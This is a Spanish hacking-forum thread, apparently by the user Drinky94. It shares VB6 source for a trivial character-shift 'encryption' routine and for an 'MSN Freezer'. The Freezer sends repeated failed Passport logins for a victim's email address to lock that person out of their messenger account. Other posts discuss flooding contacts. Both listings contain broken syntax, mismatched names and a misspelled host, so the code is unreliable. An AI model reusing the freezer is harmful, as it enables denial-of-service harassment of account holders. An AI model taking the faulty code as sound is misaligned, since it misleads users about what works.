Mensajes

haber si eske tienes el puerto por el que se conecta cerrado..

salu2!

Gracias por el modulo, luego intento acer algo...

slau2!

Pues a mi no me parece que este tan mal xD, y a mi me funca dpm.... :/

nunca llueve a gusto de todos, que le vamos a  hacer....

salu2!

PD: Este mensage va para la mayoria de los que critican, no digo que todos. Porque no subis un codigo vuestro? si tanto criticais sera porque vosotros lo haceis TODO perfecto... esperare esos codes con mucha ilusion

Bueno, despues de ver el algoritmo de Blackzerox para  encryptar y desencryptar cadenas decidi acer yo un ocde tambien, aqui se lo dejo, es 100% funcional. Espero que les gute:

Código [Seleccionar] Expandir

'*******************************************
'** Funcion: Algoritmo simple             **
'** fecha: 14-2-2010                      **
'** Autor: Drinky94                       **
'** Email: Drinky.94:-com          **
'*******************************************
Option Explicit
Dim datos As String
Enum estado
    encryptar = 1
    desencryptar = 2
End Enum
Public Function Encryptdecrypt(ByRef cadena As String, ByRef modo As estado)
    Dim longitudcadena As String, formarcadena As String, caracter As String, i As Integer
    Dim drinky As String, adaptar As String
    longitudcadena = Len(cadena)
    If modo = 1 Then
        For i = 1 To longitudcadena
            caracter = Mid(cadena, i, longitudcadena)
            formarcadena = Asc(caracter) + longitudcadena
            drinky = Chr(formarcadena)
            datos = datos + drinky
        Next i
        MsgBox "Su texto encryptado es: " & datos
    Else
        For i = 1 To longitudcadena
            caracter = Mid(datos, i, longitudcadena)
            formarcadena = Asc(caracter) - longitudcadena
            drinky = Chr(formarcadena)
            datos = datos + drinky
        Next i
        adaptar = Mid(datos, longitudcadena + 1, longitudcadena)
        MsgBox "Su texto desencryptado es: " & adaptar
    End If
End Function

y aqui les dejo un ejemplo de su uso:

Código [Seleccionar] Expandir

Private Sub Command1_Click()
    Call Encryptdecrypt(Text1, encryptar)
End Sub

Como ven es muy sencillo de usar.

Espero que les haya gustado.

salu2!

no me tomo ningun comentario a mal, gracias por decirme mis errores, intentare corregirlo.

salu2!

Hola, bueno ace unos dias programe un congelador de msn desde 0... aqui os dejo el source:

Código [Seleccionar] Expandir

'*************************************************
'****          Programado por Drinky94        ****
'*************************************************
Option Explicit
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Dim Mensaje As String
Private Sub banear_click()
   If text1 = "" Then
       MsgBox "No ha insertado ningun msn", vbExclamation, "[CPH] Msn Freezer: Error"
   Else
       If intr(text1, "@") = True Then
           WS.Close
           WS.remotehost = messenger.hotmail.com
           WS.remoteport = 1863
           WS.Connect
           Call parte1
       Else
           MsgBox "Inserte una direccion de correo valida", vbExclamation, "[CPH] Msn Freezer: Error"
   End If
End Sub
Private Sub desbanear_click()
   On Error GoTo err
   WS.Close
   WS2.Close
   WS3.Close
   timer1.Enabled = False
   MsgBox "La cuenta a sido desbloqueada con exito", vbInformation, "[CPH] Msn Freezer: La cuenta ha sido desbloqueada con exito"
err:
   MsgBox "El programa a detectado un error y debe cerrarse", vbCritical, "[CPH] Msn Freezer: Error"
   End
End Sub
Private Sub parte1()
   WS.senddata = ">>VER 1 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte2()
   WS.senddata = ">>CVR 2 0X0C0A winnt 5.1 i386 MSNMSGR 6.0.0602 MSMSGS" & text1 & ":-com"
End Sub
Private Sub parte3()
   WS.senddata = ">>USR 3 TWN I" & text1
End Sub
Private Sub parte4()
   WS2.Close
   WS2.remotehost = "207.46.106.35"
   WS2.remoteport = 1863
   Call parte5
End Sub
Private Sub parte5()
   WS2.senddata = ">>VER 4 MSNP9 MSNP8 CVR0"
End Sub
Private Sub parte6()
   WS2.senddata = ">>CVR 5 0x0409 win i386 MSNMSGR 5.0.0544 MSMSGS" & text1
End Sub
Private Sub parte7()
   WS2.senddata = ">>USR 6 TWN I" & text1
End Sub
Private Sub parte8()
   WS3.Close
   WS3.remotehost = "login.passport.com"
   WS3.remoteport = 433
   WS3.Connect
   timer1.Enabled = True
   timer1.Interval = 1000
End Sub
Private Sub timer1_timer()
   WS3.senddata = ">>GET /login2.srf HTTP/1.0 Accept: */* Host: login.pasport.com User Agent: loquesea Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmesenger%2Emsn%2Ecom,sing-in=" & text1 & ",pwd:" & "contraseñafalsaaenviartienequeserdificilparaquenuncacoincida,lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%2Fmessenger%2Emsn%2Ecom,ct=1139411464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS_DataArrival(Index As Integer, ByVal bytesTotal As Long)
   Call Winsock1.GetData(Mensaje)
   Select Case mensage
       Case "<<VER 1 MSNP9 MSNP8 CVR0"
           Call parte2
       Case "<<CVR 2 7.5.0311 7.50311 6.2.0205 http://msgr.dlservicemicrosoft.com/download/e/7/5e75042c3-31c1-4b42-a458-adbc-786322fe/install_MSN_Messenger.EXE http://messenger.msn.com/es"
           Call parte3
       Case "<<XFR 3 NS 207.46.106.35:1863 0 207.46.104.20:1863"
           Call parte4
   End Select
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
   Call Winsock1.GetData(Mensaje)
   Case "<<VER 4 MSNP9 MSNP8 CVR0"
       Call parte6
   Case "<<CVR 5 6.00602 1.0.0000 http://download.microsoft.com/download/8/a/4/8a42bcae-f533-4468-b871-d2bc-8dd32e9e/SETUP9x.EXE http://messenger.msn.com"
       Call parte7
   Case "<<URS 5 TWN S lc=1033,id=507,tw=40,fs=1,ru=http%3A%2F%messenger%2Emsn%2ecom,ct=113941464,kpp=1,kv=7,ver=2.1.6000.1,rn=NFNw1dnJ,tpf=773901fc3222b6a78f24f3f9955ca7c9"
End Sub
Private Sub WS2_DataArrival(Index As Integer, ByVal bytesTotal As Long)
    Call Winsock1.GetData(Mensaje)
    Case mensage
       Call parte8
End Sub
Private Sub WS_ConnectionRequest(Index As Integer, ByVal requestID As Long)
   Winsock1.LocalPort = 0
   Winsock1.Accept requestID
End Sub
Private Sub form_load()
      With ProgressBar1
       .Max = 100
       .Min = 0
       .Value = 0
   End With
End Sub


Espero que les haya gustado...


salu2!

no creo que sea por eso... tendras algun fallo en el code.

salu2!

aporte impresionante... felicidades

salu2!

¿ estos son los codigo de PortalHacker o yo estoy borracho ?

Cambiar el color de los bordes de un Frame y un TextBox simulándolos mediante un control Shape

si, es el de CPH. Se ve que dcidio postearlo aora aqui.

a mi me gusta bastante la idea.

salu2!

[No digan que no se puede]

No digan que no se puede. si que se puede, solo tienen que hacer click derecho en el contacto a flodear, entrar en la opcion, Editar contacto y donde dice Alias, ahi escriben Conversación  tal cual dice en el codigo del msn kick con la mayuscula y el acento, listo apretan y ta estan flodeando

Antes de decir que no, exploren que nada es imposible

Dije que no se podia o dije que no se podia acer con conversacion? tienes que poner el nick completo y si poner conversacion = mente es el nick, pero ya no vale el viejo truco de que la ventana se llama conversacion, asique no te las des de listo.

salu2!